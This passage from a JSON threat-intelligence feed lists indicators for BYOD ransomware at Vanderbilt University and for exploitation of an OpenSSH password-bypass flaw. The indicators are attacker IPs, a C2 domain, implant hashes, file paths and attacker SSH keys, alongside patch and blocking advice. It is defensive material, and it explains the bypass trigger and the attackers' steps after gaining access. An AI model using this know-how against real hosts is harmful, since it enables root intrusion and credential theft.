activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack/block_now.txt", "download": "BYOD-Ransomware-Vanderbilt-University-Attack_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack/defender_xdr_indicators.csv", "download": "BYOD-Ransomware-Vanderbilt-University-Attack_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack/hunt.kql", "download": "BYOD-Ransomware-Vanderbilt-University-Attack_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack/hunt.spl", "download": "BYOD-Ransomware-Vanderbilt-University-Attack_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack/hunt_raw.spl", "download": "BYOD-Ransomware-Vanderbilt-University-Attack_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack/hunt.yaral", "download": "BYOD-Ransomware-Vanderbilt-University-Attack_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack/iocs.csv", "download": "BYOD-Ransomware-Vanderbilt-University-Attack_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack", "share_url": "https://iocwatch.com/t/BYOD-Ransomware-Vanderbilt-University-Attack/", "indicators": [ { "value": "README_BYOD_31.txt", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Ransom note file name seen at Vanderbilt University; hunt for README_BYOD_*.txt.", "source_url": "https://www.bleepingcomputer.com/news/security/vanderbilt-university-hit-in-byod-ransomware-attack-data-theft-claimed/", "source_label": "BleepingComputer – Vanderbilt University hit in BYOD ransomware attack", "source_name": "BleepingComputer", "sources": [ { "url": "https://www.bleepingcomputer.com/news/security/vanderbilt-university-hit-in-byod-ransomware-attack-data-theft-claimed/", "name": "BleepingComputer" } ] }, { "value": "byodxn5s7sua6oyyjj74rycgn6afncfckprt5ezskt3cni6lg3wdrgad.onion", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "BYOD Tor data leak site; only shows up in tor2web or proxy logs.", "source_url": "https://www.ransomware.live/group/BYOD", "source_label": "ransomware.live – BYOD group profile", "source_name": "ransomware.live", "sources": [ { "url": "https://www.ransomware.live/group/BYOD", "name": "ransomware.live" } ] }, { "value": "byod@onionmail.org", "type": "email", "confidence": "high", "recommended_action": "alert", "description": "BYOD contact email address; hunt in mail flow and DLP.", "source_url": "https://www.ransomware.live/group/BYOD", "source_label": "ransomware.live – BYOD group profile", "source_name": "ransomware.live", "sources": [ { "url": "https://www.ransomware.live/group/BYOD", "name": "ransomware.live" } ] }, { "value": "05b18abb1c28e6ae8b12e2910197dba5e756c11c3a4046be50e0d356a815bc5d37", "type": "session_id", "confidence": "high", "recommended_action": "alert", "description": "BYOD Session messenger ID used for negotiation; not a file hash, do not import as a file indicator.", "source_url": "https://www.ransomware.live/group/BYOD", "source_label": "ransomware.live – BYOD group profile", "source_name": "ransomware.live", "sources": [ { "url": "https://www.ransomware.live/group/BYOD", "name": "ransomware.live" } ] }, { "value": ".byod", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "File extension BYOD ransomware gave to encrypted files on Vanderbilt computers. Many renames to .byod on one device in a short time mean encryption is running.", "source_url": "https://nashvillebanner.com/2026/11/09/vanderbilt-university-cyberattack-byod/", "source_label": "Nashville Banner – Cybersecurity breach impacts Vanderbilt University", "source_name": "Nashville Banner", "sources": [ { "url": "https://nashvillebanner.com/2026/11/09/vanderbilt-university-cyberattack-byod/", "name": "Nashville Banner" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack/hunt.kql", "download": "BYOD-Ransomware-Vanderbilt-University-Attack_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack/hunt.spl", "download": "BYOD-Ransomware-Vanderbilt-University-Attack_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack/hunt_raw.spl", "download": "BYOD-Ransomware-Vanderbilt-University-Attack_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack/hunt.yaral", "download": "BYOD-Ransomware-Vanderbilt-University-Attack_hunt.yaral" } ] }, { "id": "SSHole-OpenSSH-CVE-2026-123158-Exploitation", "folder": "threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation", "name": "SSHole: OpenSSH CVE-2026-123158 Exploitation and TAC Agent Implant", "short": "SSHole OpenSSH CVE-2026-123158", "category": "Exploitation / Linux", "published": "2026-11-08", "entry_date": "2026-11-10 13:43", "last_updated": "2026-11-10", "seq": 3, "headline": "Password bypass on musl-based OpenSSH exploited to gain root and drop an implant", "summary": "CVE-2026-123158 (SSHole) lets accounts that should never accept a password, such as root or key-only users, log in with any password longer than 256 characters on OpenSSH before 10.6p2 built against musl libc without PAM, which includes Alpine Linux's default openssh-server and other musl systems such as OpenWrt, Buildroot and Yocto. OpenSSH fixed it in 10.6p2 on 5 November 2026, and exploit code appeared about four hours later. GreyNoise saw attackers gain root, run system and cloud-metadata reconnaissance, try to read /etc/shadow, add SSH keys and install the TAC Agent Python implant with C2 at tac.vpnla.org.", "caveat": "The main source is a live GreyNoise dashboard with no publication date; the published date used here is the SANS ISC diary date (8 November 2026).", "targets": { "countries": [], "regions": [ "Global" ], "sectors": [], "note": "GreyNoise tracks it as a global exploitation event against exposed musl-based Linux systems; victim countries and sectors are not given.", "source": { "url": "https://sshole.events.greynoise.io/", "label": "GreyNoise – SSHole live activity report", "name": "GreyNoise" } }, "mitre": [ { "id": "T1133", "name": "External Remote Services", "url": "https://attack.mitre.org/techniques/T1133/" }, { "id": "T1098.004", "name": "SSH Authorized Keys", "url": "https://attack.mitre.org/techniques/T1098/004/" }, { "id": "T1552.005", "name": "Cloud Instance Metadata API", "url": "https://attack.mitre.org/techniques/T1552/005/" }, { "id": "T1003.008", "name": "/etc/passwd and /etc/shadow", "url": "https://attack.mitre.org/techniques/T1003/008/" }, { "id": "T1037.004", "name": "RC Scripts", "url": "https://attack.mitre.org/techniques/T1037/004/" } ], "recommended_actions": [ "Upgrade OpenSSH to 10.6p2 or later and restart sshd; installing the package alone leaves the old daemon running.", "Until patched, disable SSH password authentication on musl-based hosts such as Alpine.", "Block the confirmed exploitation IPs inbound at the perimeter and the tac.vpnla.org domain outbound.", "Check authorized_keys for the two attacker keys and look for /opt/py3/tac_agent.py and /etc/init.d/tac-agent." ], "sources": [ { "url": "https://sshole.events.greynoise.io/", "label": "GreyNoise – SSHole live activity report", "name": "GreyNoise" }, { "url": "https://isc.sans.edu/diary/33498", "label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "name": "SANS ISC" } ], "indicator_count": 40, "block_now_count": 10, "hunt_count": 30, "hunt_counts": { "alert": 30 }, "indicator_counts": { "ipv4": 29, "filename": 6, "sha256": 2, "ssh_pubkey": 2, "domain": 1 }, "ioas": [], "ioa_count": 0, "ioa_note": null, "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation/block_now.txt", "download": "SSHole-OpenSSH-CVE-2026-123158-Exploitation_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation/defender_xdr_indicators.csv", "download": "SSHole-OpenSSH-CVE-2026-123158-Exploitation_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation/hunt.kql", "download": "SSHole-OpenSSH-CVE-2026-123158-Exploitation_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation/hunt.spl", "download": "SSHole-OpenSSH-CVE-2026-123158-Exploitation_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation/hunt_raw.spl", "download": "SSHole-OpenSSH-CVE-2026-123158-Exploitation_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation/hunt.yaral", "download": "SSHole-OpenSSH-CVE-2026-123158-Exploitation_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation/iocs.csv", "download": "SSHole-OpenSSH-CVE-2026-123158-Exploitation_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation", "share_url": "https://iocwatch.com/t/SSHole-OpenSSH-CVE-2026-123158-Exploitation/", "indicators": [ { "value": "20.255.63.133", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "GreyNoise-confirmed SSHole exploitation source and GT10 cluster seed that ran the exploit and uploaded TAC Agent (Microsoft Azure AS8075, Hong Kong); ephemeral cloud IP, also block inbound SSH at the perimeter.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "20.2.81.241", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "GreyNoise-confirmed SSHole exploitation source in the GT10 cluster, high confidence (Microsoft Azure AS8075, Hong Kong); ephemeral cloud IP, also block inbound SSH at the perimeter.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "209.248.50.17", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "GreyNoise-confirmed SSHole exploitation source in the GT10 cluster that wrote /etc/init.d/tac-agent (SAKURA AS32135, Singapore); also block inbound SSH at the perimeter.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "47.80.65.43", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "GreyNoise-confirmed SSHole exploitation source in the GT10 cluster (Alibaba AS45102, Philippines); ephemeral cloud IP, also block inbound SSH at the perimeter.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "202.155.94.33", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "GreyNoise-confirmed SSHole exploitation source in the GT10 cluster, high confidence (PT Deneva AS138115, Indonesia); also block inbound SSH at the perimeter.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "152.175.65.88", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "GreyNoise-confirmed SSHole exploitation source listed in the GT10 cluster panel, high confidence; also block inbound SSH at the perimeter.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "79.116.138.30", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "GreyNoise Attacker 2: two SSHole intrusions on 7 and 10 Nov 2026 that planted an SSH key (DIGI Spain AS57269 residential ISP, may churn); also block inbound SSH at the perimeter.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "183.220.91.15", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "GreyNoise Attacker 3: exploited SSHole on 7 Nov 2026 and spent about five hours on recon, cloud-metadata queries and /etc/shadow reads (China Mobile AS9808, may churn); also block inbound SSH at the perimeter.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "43.224.227.158", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP tagged by GreyNoise for CVE-2026-123158 authentication-bypass attempts; AROSSCLOUD (AS400619, Hong Kong).", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "89.116.89.18", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP tagged by GreyNoise for CVE-2026-123158 authentication-bypass attempts; Nearoute (AS51847, Japan), also named by Previdian.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "31.59.220.26", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP tagged by GreyNoise for CVE-2026-123158 authentication-bypass attempts; Throttle Ltd (AS198189, Netherlands).", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "213.86.169.133", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IP tagged by GreyNoise for CVE-2026-123158 authentication-bypass attempts; COLT (AS8220, UK ISP); check it is not a partner or your own egress.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" }, { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "152.233.50.185", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "92.255.57.7", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "195.178.110.78", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "109.94.173.13", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "87.241.132.12", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "52.119.124.122", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "185.2.148.137", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "220.77.237.35", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "82.74.132.129", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "220.70.219.98", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "154.80.128.173", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "121.190.39.238", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "121.163.224.97", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "58.151.184.226", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "62.210.173.100", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "183.99.38.238", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "112.162.23.132", "type": "ipv4", "confidence": "low", "recommended_action": "alert", "description": "Scanner seen by the SANS ISC Cowrie honeypot sending over-long SSHole passwords from 5 Nov 2026; many are residential ISPs, alert only.", "source_url": "https://isc.sans.edu/diary/33498", "source_label": "SANS ISC – Scans for Sshole vulnerability (CVE-2026-123158)", "source_name": "SANS ISC", "sources": [ { "url": "https://isc.sans.edu/diary/33498", "name": "SANS ISC" } ] }, { "value": "tac.vpnla.org", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "TAC Agent C2 domain (https://tac.vpnla.org:8443, behind a Cloudflare Worker); block the domain, not its shared Cloudflare IP.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "55e6384f6d1648be9b48fb899e46623e9c05eb0df2cbf95f6701680d4e7cbc2a", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of /opt/py3/tac_agent.py, the TAC Agent v0.1.1 Python C2 implant (89,559 bytes) installed after root access.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "7cf69bd6573a90d7bd287810b5c3746841cee6a7f77cadd016f34a97fc7b2361", "type": "sha256", "confidence": "med", "recommended_action": "alert", "description": "SHA256 of /etc/init.d/tac-agent, the 308-byte OpenRC persistence script; small text file that may vary per victim.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "/opt/py3/tac_agent.py", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "File path of the TAC Agent Python implant.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "/etc/init.d/tac-agent", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "OpenRC startup service that keeps TAC Agent running.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "/opt/py3/run_tac.sh", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Launcher script for TAC Agent.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "~/.config/tac/agent.json", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "TAC Agent config holding the agent_id and bearer token.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "/tmp/py3.tar.gz", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Python runtime archive dropped before installing TAC Agent.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "TAC-Agent/1.0", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "HTTP User-Agent string used by TAC Agent C2 traffic.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC+fr+jwfsBA8u1VnsHZL4Tz5zujgovCL6JgYzUYkfvR SSHHOLE-HIT", "type": "ssh_pubkey", "confidence": "high", "recommended_action": "alert", "description": "Attacker ed25519 public key added to authorized_keys (comment SSHHOLE-HIT); grep authorized_keys files and container images.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] }, { "value": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFQrQmHWfW5QjOEZ4+Y5cz4yuF/dTlneMsoRlpe/jsTJ fleet-access", "type": "ssh_pubkey", "confidence": "high", "recommended_action": "alert", "description": "Attacker ed25519 public key added to authorized_keys (comment fleet-access); grep authorized_keys files and container images.", "source_url": "https://sshole.events.greynoise.io/", "source_label": "GreyNoise – SSHole live activity report", "source_name": "GreyNoise", "sources": [ { "url": "https://sshole.events.greynoise.io/", "name": "GreyNoise" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation/hunt.kql", "download": "SSHole-OpenSSH-CVE-2026-123158-Exploitation_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation/hunt.spl", "download": "SSHole-OpenSSH-CVE-2026-123158-Exploitation_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/SSHole-OpenSSH-CVE-2026-123158-Exploitation/hunt_raw.spl", "download": "SSHole-OpenSSH-CVE-2026-123158-Exploitation_hunt_raw.spl" 